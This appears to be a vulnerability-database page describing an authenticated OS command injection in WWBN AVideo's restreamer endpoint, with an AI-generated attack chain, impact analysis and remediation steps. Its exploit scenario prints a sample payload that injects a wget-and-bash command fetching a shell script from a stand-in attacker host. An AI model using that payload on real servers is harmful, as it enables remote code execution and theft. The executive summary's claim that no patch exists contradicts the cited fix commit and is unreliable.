Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to AVideo restreamer endpoint
-
ExploitCraft JSON with shell metacharacters in users_id parameter
-
ExecutionUnsanitized values embedded in shell command
-
ImpactExecute arbitrary code via exec()
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated user account on WWBN AVideo versions up to 26.0. Attacker must access the restreamer endpoint with crafted JSON request containing unsanitized |
| Impact | The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates a network-exploitable vulnerability with low attack complexity requiring only low-level authenticated access, no user interaction, and yielding high impact across confidentiality, integrity, and availability. The requirement for authentication (PR:L) provides minimal friction as attackers can typically obtain low-privileged accounts through registration features common in video platforms or credential compromise. The vulnerability is particularly dangerous because command injection flaws are readily exploitable once authenticated access is obtained, and the public availability of patch details (commit 99b865413172045fef6a98b5e9bfc7b24da11678) effectively serves as a roadmap for exploit development. While no EPSS score or KEV inclusion is indicated in the provided data, the combination of public disclosure via GitHub Security Advisory GHSA-5m4q-5cvx-36mw, available patch details showing the exact vulnerable code pattern, and the straightforward exploitation path for authenticated users makes this a genuine high-priority risk for any organization running affected AVideo instances, especially those exposed to the internet or accessible by untrusted authenticated users. |
| Exploit ScenarioDerived | An attacker registers a low-privileged account on an AVideo instance or compromises existing user credentials through phishing or credential stuffing. The attacker crafts a malicious JSON request to the restreamer endpoint with shell metacharacters embedded in the users_id or liveTransmitionHistory_id parameters, such as users_id set to 1$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh). When the server processes this request and constructs the log file path within the exec() call, the injected commands execute with web server privileges, allowing the attacker to download and execute a reverse shell, escalate privileges, exfiltrate sensitive video content and user databases, or pivot to internal network resources. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
WWBN AVideo versions up to and including 26.0 contain a command injection vulnerability in the restreamer endpoint that allows authenticated attackers to execute arbitrary commands on the server. The vulnerability stems from unsanitized user input (users_id and liveTransmitionHistory_id parameters) being embedded directly into shell commands via exec(). With a CVSS score of 8.8, this critical vulnerability requires low attack complexity and low privileges, enabling complete system compromise including data theft, modification, and denial of service.
RemediationAI
Apply the security patch provided in commit 99b865413172045fef6a98b5e9bfc7b24da11678 available at https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678, or upgrade to a version of AVideo newer than 26.0 that incorporates this fix. Review the GitHub Security Advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw for additional guidance from the vendor. Until patching is feasible, implement compensating controls such as restricting access to the restreamer endpoint through web application firewall rules, limiting authenticated user privileges, implementing strict input validation at the network perimeter, and monitoring system logs for suspicious command execution patterns or unexpected process spawning from the web server user context. Consider disabling the restreamer functionality entirely if not required for business operations until the patch can be applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability affects WWBN AVideo (cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*), an open-source video streaming and management platform. This is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), commonly known as OS command injection. The restreamer endpoint accepts JSON requests containing users_id and liveTransmitionHistory_id values, which are used to construct log file paths without validation or sanitization. These unsanitized values are then directly concatenated into shell commands passed to PHP's exec() function, allowing shell metacharacters such as backticks, $(), semicolons, or pipe operators to break out of the intended command context and execute arbitrary system commands with the privileges of the web server process.
Know when Avideo gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
Executive ViewAI
WWBN AVideo installations are vulnerable to authenticated command injection attacks that could allow attackers to fully compromise affected servers, including stealing sensitive data, modifying content, and disrupting services. Organizations running AVideo versions 26.0 or earlier require immediate action since no patch is currently available.
Disable the restreamer endpoint entirely if operationally feasible. Implement Web Application Firewall (WAF) rules to detect and block command injection patterns in users_id and liveTransmitionHistory_id parameters. Enforce network segmentation restricting AVideo access to internal networks only. Restrict authenticated user creation and apply principle of least privilege to service accounts. Monitor server process execution logs for suspicious shell command activity. Implement input validation at application layer if source code modification is possible. Consider deploying application-level sandboxing or containerization to limit blast radius of command execution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in WWBN AVideo Multiple Vulnerabilities
View all 14A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.
An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath
A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit
An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed
Unauthenticated SQL injection in AVideo before 24.0.
OS injection vulnerability in World Wide Broadcast Network AVideo version before 12.4, allows attackers to execute arbit
A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.
A cross-site scripting (xss) vulnerability exists in the channelBody.php user name functionality of WWBN AVideo 11.6 and
A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master co
An insufficient entropy vulnerability exists in the userRecoverPass.php recoverPass generation functionality of WWBN AVi
WWBN AVideo is an open source video platform. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable
AVideo is an open source video platform. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low
EUVD-2026-14484
GHSA-5m4q-5cvx-36mw
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB